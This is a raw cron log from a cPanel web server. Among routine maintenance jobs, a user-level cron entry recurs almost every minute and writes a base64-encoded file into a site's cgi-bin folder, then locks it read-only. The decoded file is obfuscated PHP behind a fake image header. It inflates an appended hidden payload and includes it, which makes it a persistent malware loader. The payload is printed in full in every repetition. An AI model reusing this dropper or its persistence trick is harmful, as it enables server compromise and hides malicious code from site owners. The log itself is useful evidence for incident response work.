Sep  2 00:35:01 server CROND[9715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:35:01 server CROND[9717]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 00:35:01 server CROND[9719]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 00:35:01 server CROND[9720]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:36:01 server CROND[10552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:36:01 server CROND[10553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:36:01 server CROND[10554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:37:01 server CROND[10934]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:37:01 server CROND[10935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:37:01 server CROND[10936]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:38:01 server CROND[11320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:38:01 server CROND[11321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:38:01 server CROND[11322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:39:01 server CROND[11711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:39:01 server CROND[11709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:39:01 server CROND[11712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:39:01 server CROND[11710]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 00:40:01 server CROND[12198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:40:01 server CROND[12200]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:40:01 server CROND[12201]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:40:01 server CROND[12202]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 00:40:01 server CROND[12206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:40:01 server CROND[12203]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 00:40:01 server CROND[12204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:40:01 server CROND[12210]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 00:41:01 server CROND[12995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:41:01 server CROND[12996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:41:01 server CROND[12997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:42:01 server CROND[13391]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 00:42:01 server CROND[13390]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:42:01 server CROND[13392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:42:01 server CROND[13393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:43:01 server CROND[13783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:43:01 server CROND[13782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:43:01 server CROND[13785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:44:01 server CROND[14182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:44:01 server CROND[14183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:44:01 server CROND[14184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:45:01 server CROND[14673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:45:01 server CROND[14675]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:45:01 server CROND[14678]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:45:01 server CROND[14677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:45:01 server CROND[14680]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 00:45:01 server CROND[14682]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 00:45:01 server CROND[14676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:46:01 server CROND[15520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:46:01 server CROND[15521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:46:01 server CROND[15522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:47:01 server CROND[15907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:47:01 server CROND[15909]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
